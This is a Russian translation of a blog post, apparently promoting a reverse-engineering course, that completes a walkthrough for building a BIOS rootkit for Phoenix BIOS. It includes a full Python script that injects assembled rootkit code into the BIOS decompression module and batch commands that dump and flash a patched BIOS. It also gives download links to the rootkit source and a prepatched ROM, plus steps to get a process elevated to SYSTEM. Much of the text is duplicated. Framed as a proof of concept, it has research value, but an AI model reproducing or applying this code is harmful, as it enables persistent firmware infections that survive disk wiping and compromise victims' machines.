Публикуем заключительную часть перевода, который был подготовлен в преддверии старта базового и продвинутого курсов «Реверс-инжиниринг».
Теперь, когда мы знаем как мы хотим внедрить руткит в BIOS, следующим шагом будет собственно патчинг BIOS кодом нашего руткита. Для этого нам нужно извлечь все модули BIOS, пропатчить модуль распаковки и собрать все заново. Модули можно извлечь с помощью консольной утилиты phxdeco или Phoenix BIOS Editor. После того как модуль распаковки извлечен, следующий код пропатчит его нашим руткитом:
Примером вызова этого скрипта может быть:
Если все сработает успешно, вы должны увидеть что-то похожее на следующее:
Для первичных файлов BIOS, таких как тот, что включен в VMware, для повторной сборки можно использовать ряд утилит командной строки, включенных в Phoenix Bios Editor (или доступных от Intel). Позже при тестировании на реальном ПК было необходимо сохранить BIOS не только в первичном формате, поэтому в качестве инструмента для повторной сборки использовалась GUI-версия Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе, чтобы оно заражало BIOS, по крайней мере, без использования заготовленных инструментов.
Это означает, что заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки. Ниже показан Phoenix BIOS Editor с открытым образом BIOS:
Phoenix BIOS Editor разрабатывался не для подмены модулей, но тем не менее предоставляет такую возможность. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папке, расположенной в
Исходный код BIOS-руткита и скрипты для патчинга можно скачать по ссылкам в конце этой статьи, если вы хотите проделать все это самостоятельно.
Phoenix BIOS использовался во всех разработках на базе VMware, поэтому он также был выбран и для тестирования на физическом ПК. Все физическое (в отличие от виртуального) тестирование BIOS проводилось с использованием ноутбука HP Pavilion ze4400. Изначально тестирование BIOS планировалось с использованием ПК, а не с ноутбуком, поскольку получить доступ к материнской плате ПК для перепрошивки в случае необходимости было бы намного проще. Несмотря на это, быстро найти компьютер с Phoenix BIOS оказалось непросто, поэтому вместо него пришлось использовался ноутбук (особая благодарность Дэвиду за перепрошивку моего ноутбука, после того как я случайно записал исходный код в свой BIOS!)
Первый шаг к модификации реального системного BIOS состоит в том, чтобы извлечь его копию. Phoenix имеет два разных инструмента, которые они обычно предоставляют для этой цели, один называется «Phlash16», а другой — «WinPhlash». Phlash16 — это утилита командной строки (с консольным GUI), но она запускается только из DOS. WinPhlash, как следует из названия, запускается из под Windows. Хотя это GUI-утилита, она также принимает параметры командной строки, что позволяет нам автоматизировать процесс извлечения BIOS. Для этого проекта я создал несколько скриптов для автоматизации извлечения и патчинга BIOS, но они довольно примитивные и малофункциональные.
Следующий пакетный скрипт скопирует BIOS в файл с именем
После извлечения BIOS, следующим шагом является его патчинг нашим руткит-кодом. Это можно сделать с помощью тех же скриптов, которые мы использовали для VMware в разделах выше. Целью этого проекта было создать как можно более совместимый патч и процесс патчинга. Я очень рад, что это оказалось полностью осуществимым, так что одни и те же инструменты могут использоваться для совершенно другого оборудования, работающего на том же типе BIOS.
Хотя существует бесплатный инструмент, который может извлекать модули из Phoenix BIOS, похоже, что только Phoenix Bios Editor будет собирать их так, как это требуется для типичных ПК. Средство WinPhlash требует, чтобы в BIOS была включена дополнительная информация, которую он хранит вместе с необработанным BIOS в файле WPH. После тестирования многих различных вариантов, похоже, что единственный способ успешно собрать файл WPH — это использовать GUI Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе для заражения BIOS, по крайней мере, без использования заготовленных инструментов.
Теоретически должна быть возможность выполнить реверс инжиниринг формата WPH и создать собственный инструмент для повторной сборки BIOS, но это выходит за рамки данного проекта. Вместо этого заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки.
Как и при патчинге BIOS VMware, можно использовать тот же прием, чтобы Phoenix BIOS Editor повторно собирал пропатченный модуль. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папку, расположенную в
После того, как BIOS повторно собран в WPH-файл, следующий пакетный скрипт перенесет новый образ BIOS в BIOS EEPROM, а затем перезагрузит компьютер, чтобы изменения вступили в силу:
Собрав всю предыдущую работу вместе, далее показано, как код BIOS был перенесен на ноутбук (запускается скриптом infect.bat, описанным выше):
После завершения флешинга руткит BIOS успешно запустился и загрузился в ядро ??Windows. На следующем скриншоте показана командная строка, которая первоначально запускается от имени рядового пользователя, а затем через 30 секунд ее привилегии повышаются:
Это демонстрирует, что руткит BIOS был достаточно портативным для работы на нескольких системах (VMware, ноутбук HP), и что механизмы заражения были функциональны и работали должным образом.
«Руткит», разработанный для этого проекта, реализует только одну простую задачу, но, как было отмечено в отношении программного обеспечения Vbootkit2, нет никаких причин, по которым к нему нельзя добавить дополнительные функции. В этом проекта фигурировал BIOS Phoenix, и вполне вероятно, что есть много сходств между BIOS Phoenix и BIOS других производителей. Хотя вполне вероятно, что код необходимо будет писать под каждого поставщика отдельно, их существует не так много, поэтому целесообразно расширить функциональность руткита на всех распространенных производителей.
Во введении я отметил, что новые функции BIOS, такие как подписанные апдейты, делают большую часть того, что описано здесь, намного меньшей угрозой с точки зрения безопасности. Это, безусловно, приятно отметить, но также стоит помнить, что «устаревших» компьютеров больше, чем «новых», поэтому этот тип атаки все еще будет оставаться проблемой в течение долгого времени.
Следующий исходный код и исправленный BIOS предоставлены в качестве подтверждения концепции. Я ни в коем случае не предполагал, чтобы люди брали это и использовали для каких-либо злонамеренных целей, а скорее хотел продемонстрировать, что такие атаки вполне осуществимы в старых конфигурациях BIOS. Я не думаю, что это реально взять эту работу в ее нынешнем виде и превратить в какое-либо работоспособное вредоносное ПО, и на этом основании я размещаю этот код в Интернете.
Как отмечалось в предыдущих разделах, этот код должен работать для патчинга большинства BIOS Phoenix. Скрипты для патчинга можно скачать здесь:
BIOS_Based_Rootkit_Patch_Scripts.zip
Исходный код BIOS-руткита можно скачать здесь:
biosrootkit.asm
Вам потребуется NASM для компиляции кода для патчинга BIOS, если вы используете вышеуказанные скрипты/исходный код. Для успешной работы NASM следует либо добавить в переменную path, либо обновить скрипт для патчинга, чтобы иметь абсолютный путь к нему. Вам также понадобится копия Phoenix BIOS Editor или бесплатный аналог, чтобы вернуть модуль распаковки обратно в полный BIOS.
Если вы не хотите компилировать все это самостоятельно и просто хотите потыкать то, что у меня получилось, пропатченный BIOS для использования с VMware можно загрузить здесь:
BIOS_rootkit_demo.ROM
Если вы не хотите читать всю работу, приведенную выше, вот краткое изложение того, как это попробовать, и что оно делает.
Шагов, описанные выше, должны сработать в идеальном мире. Однако в результате тестирования были выявлены следующие танцы с бубном!
Если вы просто хотите посмотреть видео о том, как это происходит, Колин разместил его на YouTube: Я рекомендую на самом деле попробовать это в VMware, гораздо веселее увидеть, как очистка жесткого диска ничего не решает, и ваша система по-прежнему поражена!
Распаковка и патчинг BIOS
Теперь, когда мы знаем как мы хотим внедрить руткит в BIOS, следующим шагом будет собственно патчинг BIOS кодом нашего руткита. Для этого нам нужно извлечь все модули BIOS, пропатчить модуль распаковки и собрать все заново. Модули можно извлечь с помощью консольной утилиты phxdeco или Phoenix BIOS Editor. После того как модуль распаковки извлечен, следующий код пропатчит его нашим руткитом:
#!/usr/bin/python
import os,struct,sys
###############################################
# Скрипт для патчинга модуля распаковки BIOS - Автор Уэсли Вайнберг
# Приложение Phoenix BIOS Editor (для Windows) сгенерирует несколько файлов модулей, включая модуль распаковки, который будет называться «DECOMPC0.ROM».
# Эти файлы сохраняются в C:\Program Files\Phoenix Bios Editor\TEMP (или по похожему адресу) после открытия файла BIOS WPH. С помощью этого скрипта можно изменить файл модуля распаковки.
# После внесения изменений, в BIOS Editor можно вносить любые изменения в модули BIOS - BIOS Editor сгенерирует новый файл BIOS WPH.
# В качестве альтернативы модуль распаковки может быть извлечен с помощью phnxdeco.exe, но мы не сможем осуществить повторную сборку.
#Этот скрипт требует, чтобы NASM присутствовал в системе, в которой он запущен.
#
# INPUT:
# Этот скрипт для патчинга требует, чтобы имя и путь к asm-файлу руткита BIOS были переданы в качестве аргументов в командной строке.
#
# OUTPUT:
# Этот скрипт изменяет файл DECOMPC0.ROM, расположенный в том же каталоге, что и скрипт, так, чтобы он запускал asm-код руткита BIOS.
# Отображение информации об использовании
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
# Поиск кодового имени руткита
shellcode = sys.argv[1].lower()
# Транслировать ассемблерный код для внедрения. NASM должен присутствовать в системе, иначе это не удастся!
os.system('nasm %s' % shellcode)
# Открыть и отобразить размер скомпилированного кода руткита
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# Следующая строка содержит ассемблерные команды, которые будут помещены в 0x23 в ROM файле распаковки.
# ROM распаковки содержит заголовок, за которым следует ряд команд push, а за ними команда CLD. Этот код будет внедрен сразу после нее и перезапишет ряд команд mov.
# Они должны вызываться кодом руткита до возврата, чтобы можно было продолжить стандартные функции распаковки.
# Команда ассемблера, содержащаяся ниже, представляет собой Near Call, который перейдет к концу ROM-а распаковки, в который был помещен код руткита.
# Далее следуют три команды NOP в качестве филлеров.
minihook = '\xe8\x28\x04\x90\x90\x90'
# Следующее будет работать, но это абсолютный вызов, что не является идеальным вариантом!
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# Загрузка ROM файла распаковки
decorom = open('DECOMPC0.ROM','rb').read()
# Точка перехвата в файле - 0x23, сразу после команды CLD
hookoffset=0x23
# Вставляет содержимое перехвата в ROM распаковки, перезаписав то, что было там ранее
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# Заполняет ROM распаковки сотней команд NOP.
# В этом нет необходимости, но так легче определить, где произошло изменение.
decorom+="\x90"*100+decomphook
# Добавляет еще 10 NOP в конце.
decorom=decorom+'\x90'*10
# Пересчитывает размер ROM, чтобы можно было обновить заголовок
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# Сохраняет пропатченный ROM распаковки поверх предыдущей копии
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
# Вывод результатов
print "The DECOMPC0.ROM file has now been patched."
Примером вызова этого скрипта может быть:
python patchdecomp.py biosrootkit.asm
Если все сработает успешно, вы должны увидеть что-то похожее на следующее:
Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.
Повторная сборка BIOS
Для первичных файлов BIOS, таких как тот, что включен в VMware, для повторной сборки можно использовать ряд утилит командной строки, включенных в Phoenix Bios Editor (или доступных от Intel). Позже при тестировании на реальном ПК было необходимо сохранить BIOS не только в первичном формате, поэтому в качестве инструмента для повторной сборки использовалась GUI-версия Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе, чтобы оно заражало BIOS, по крайней мере, без использования заготовленных инструментов.
Это означает, что заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки. Ниже показан Phoenix BIOS Editor с открытым образом BIOS:
Phoenix BIOS Editor разрабатывался не для подмены модулей, но тем не менее предоставляет такую возможность. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папке, расположенной в
C:\Program Files\Phoenix BIOS Editor\TEMP\
. Модуль распаковки может быть скопирован из этой папки, исправлен и заменен. Phoenix BIOS Editor не позволит вам сохранить BIOS без изменений, поэтому, чтобы сохранить BIOS, нам следует поменять какое-нибудь строковое значение, а затем изменить его обратно (или просто оставить так).Исходный код BIOS-руткита и скрипты для патчинга можно скачать по ссылкам в конце этой статьи, если вы хотите проделать все это самостоятельно.
Реальный ПК
Phoenix BIOS использовался во всех разработках на базе VMware, поэтому он также был выбран и для тестирования на физическом ПК. Все физическое (в отличие от виртуального) тестирование BIOS проводилось с использованием ноутбука HP Pavilion ze4400. Изначально тестирование BIOS планировалось с использованием ПК, а не с ноутбуком, поскольку получить доступ к материнской плате ПК для перепрошивки в случае необходимости было бы намного проще. Несмотря на это, быстро найти компьютер с Phoenix BIOS оказалось непросто, поэтому вместо него пришлось использовался ноутбук (особая благодарность Дэвиду за перепрошивку моего ноутбука, после того как я случайно записал исходный код в свой BIOS!)
Извлечение BIOS на ПК
Первый шаг к модификации реального системного BIOS состоит в том, чтобы извлечь его копию. Phoenix имеет два разных инструмента, которые они обычно предоставляют для этой цели, один называется «Phlash16», а другой — «WinPhlash». Phlash16 — это утилита командной строки (с консольным GUI), но она запускается только из DOS. WinPhlash, как следует из названия, запускается из под Windows. Хотя это GUI-утилита, она также принимает параметры командной строки, что позволяет нам автоматизировать процесс извлечения BIOS. Для этого проекта я создал несколько скриптов для автоматизации извлечения и патчинга BIOS, но они довольно примитивные и малофункциональные.
Следующий пакетный скрипт скопирует BIOS в файл с именем
BIOSORIG.WPH
, а затем проверит, не был ли он ранее изменен. Perl-скрипт CheckFlash.py
просто проверяет содержимое BIOS на наличие моего имени, которого нет ни в одном неизмененном BIOS.@rem Этот файл скопирует BIOS и проверяет, был ли он пропатчен ранее.
@rem Копирование
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem Проверка, был ли BIOS уже пропатчен
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH
Распаковка и патчинг BIOS на ПК
После извлечения BIOS, следующим шагом является его патчинг нашим руткит-кодом. Это можно сделать с помощью тех же скриптов, которые мы использовали для VMware в разделах выше. Целью этого проекта было создать как можно более совместимый патч и процесс патчинга. Я очень рад, что это оказалось полностью осуществимым, так что одни и те же инструменты могут использоваться для совершенно другого оборудования, работающего на том же типе BIOS.
Повторная сборка BIOS на ПК
Хотя существует бесплатный инструмент, который может извлекать модули из Phoenix BIOS, похоже, что только Phoenix Bios Editor будет собирать их так, как это требуется для типичных ПК. Средство WinPhlash требует, чтобы в BIOS была включена дополнительная информация, которую он хранит вместе с необработанным BIOS в файле WPH. После тестирования многих различных вариантов, похоже, что единственный способ успешно собрать файл WPH — это использовать GUI Phoenix Bios Editor. К сожалению, это означает, что невозможно просто иметь одно приложение, которое можно запустить в системе для заражения BIOS, по крайней мере, без использования заготовленных инструментов.
Теоретически должна быть возможность выполнить реверс инжиниринг формата WPH и создать собственный инструмент для повторной сборки BIOS, но это выходит за рамки данного проекта. Вместо этого заражение BIOS представляет собой трехэтапный процесс, требующий некоторого ручного вмешательства, главным образом для повторной сборки.
Как и при патчинге BIOS VMware, можно использовать тот же прием, чтобы Phoenix BIOS Editor повторно собирал пропатченный модуль. Когда образ BIOS открывается впервые, все модули BIOS будут извлечены на диск в папку, расположенную в
C:\Program Files\Phoenix BIOS Editor\TEMP\
. Модуль распаковки может быть скопирован из этой папки, пропатчен и заменен. Phoenix BIOS Editor не позволит вам сохранить BIOS без изменений, поэтому вам необходимо изменить какое-нибудь строковое значение, а затем вернуть его обратно (или просто так и оставить), чтобы сохранить BIOS.Флешинг BIOS
После того, как BIOS повторно собран в WPH-файл, следующий пакетный скрипт перенесет новый образ BIOS в BIOS EEPROM, а затем перезагрузит компьютер, чтобы изменения вступили в силу:
@rem Этот файл загружает файл с именем "BIOSPATCHED.WPH" в BIOS и перезагружает систему, когда закончит.
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH
Результаты модификации на ноутбуке
Собрав всю предыдущую работу вместе, далее показано, как код BIOS был перенесен на ноутбук (запускается скриптом infect.bat, описанным выше):
После завершения флешинга руткит BIOS успешно запустился и загрузился в ядро ??Windows. На следующем скриншоте показана командная строка, которая первоначально запускается от имени рядового пользователя, а затем через 30 секунд ее привилегии повышаются:
Это демонстрирует, что руткит BIOS был достаточно портативным для работы на нескольких системах (VMware, ноутбук HP), и что механизмы заражения были функциональны и работали должным образом.
«Руткит», разработанный для этого проекта, реализует только одну простую задачу, но, как было отмечено в отношении программного обеспечения Vbootkit2, нет никаких причин, по которым к нему нельзя добавить дополнительные функции. В этом проекта фигурировал BIOS Phoenix, и вполне вероятно, что есть много сходств между BIOS Phoenix и BIOS других производителей. Хотя вполне вероятно, что код необходимо будет писать под каждого поставщика отдельно, их существует не так много, поэтому целесообразно расширить функциональность руткита на всех распространенных производителей.
Во введении я отметил, что новые функции BIOS, такие как подписанные апдейты, делают большую часть того, что описано здесь, намного меньшей угрозой с точки зрения безопасности. Это, безусловно, приятно отметить, но также стоит помнить, что «устаревших» компьютеров больше, чем «новых», поэтому этот тип атаки все еще будет оставаться проблемой в течение долгого времени.
Демо-версия VMware BIOS и исходный код
Следующий исходный код и исправленный BIOS предоставлены в качестве подтверждения концепции. Я ни в коем случае не предполагал, чтобы люди брали это и использовали для каких-либо злонамеренных целей, а скорее хотел продемонстрировать, что такие атаки вполне осуществимы в старых конфигурациях BIOS. Я не думаю, что это реально взять эту работу в ее нынешнем виде и превратить в какое-либо работоспособное вредоносное ПО, и на этом основании я размещаю этот код в Интернете.
Как отмечалось в предыдущих разделах, этот код должен работать для патчинга большинства BIOS Phoenix. Скрипты для патчинга можно скачать здесь:
BIOS_Based_Rootkit_Patch_Scripts.zip
Исходный код BIOS-руткита можно скачать здесь:
biosrootkit.asm
Вам потребуется NASM для компиляции кода для патчинга BIOS, если вы используете вышеуказанные скрипты/исходный код. Для успешной работы NASM следует либо добавить в переменную path, либо обновить скрипт для патчинга, чтобы иметь абсолютный путь к нему. Вам также понадобится копия Phoenix BIOS Editor или бесплатный аналог, чтобы вернуть модуль распаковки обратно в полный BIOS.
Если вы не хотите компилировать все это самостоятельно и просто хотите потыкать то, что у меня получилось, пропатченный BIOS для использования с VMware можно загрузить здесь:
BIOS_rootkit_demo.ROM
Использование проверки концепции и примечания
Если вы не хотите читать всю работу, приведенную выше, вот краткое изложение того, как это попробовать, и что оно делает.
- Сначала загрузите образ
BIOS_rootkit_demo.ROM
по приведенной выше ссылке. - Чтобы потестить это, вам нужно установить копию VMware и гостевую операционную систему Windows XP. Я лично проверил это с кучей разных версий VMware Workstation, а также с последней версией VMware Player (которая бесплатна). Мне также сказали, что VMware Fusion тоже отлично работает.
- Прежде чем открыть гостевую виртуальную машину WinXP, перейдите в папку, где хранится виртуальная машина на вашем компьютере, и откройте файл
.vmx
(например,WindowsXP.vmx
или как там называется ваша виртуальная машина) в блокноте. В конце добавьте новую строку, которая содержит следующее:bios440.filename = "BIOS_rootkit_demo.ROM"
. Убедитесь, что вы скопировалиBIOS_rootkit_demo.ROM
в эту папку, пока вы там. - Теперь откройте и запустите виртуальную машину, затем переименуйте программу в
pwn.exe
(например,cmd.exe
). - Подождите 30 секунд, а затем запустите диспетчер задач. Теперь
Pwn.exe
должен работать как пользователь «SYSTEM», а не как пользователь, под которым вы вошли в XP.
Шагов, описанные выше, должны сработать в идеальном мире. Однако в результате тестирования были выявлены следующие танцы с бубном!
- Нестабильность ОС. Иногда при загрузке или просто закрытии приложения
pwn.exe
Windows выдает BSOD. - Диспетчер задач будет лгать о пользователе вашего процесса, если вы откроете его раньше времени повышения привилегий в 30с. Используйте что-то вроде cmd с whoami, чтобы правильно проверить ваши права доступа.
- Хотя я успешно загрузил это на настоящий ПК, я не несу никакой ответственности за результаты, если вы делаете то же самое. Я хотел бы услышать о том, как вы превратите в кирпич свою материнскую плату каким-то нелепым образом, если это случится, но я, вероятно, не буду вам помогать с последствиями! Тестируйте на свой риск!
Если вы просто хотите посмотреть видео о том, как это происходит, Колин разместил его на YouTube: Я рекомендую на самом деле попробовать это в VMware, гораздо веселее увидеть, как очистка жесткого диска ничего не решает, и ваша система по-прежнему поражена!
Renatk
Как со стороны пользователя, который арендует такой «сервер» — компьютер, он может догадаться, что у него система со специально пропатченной BIOS, которая может следить за ним?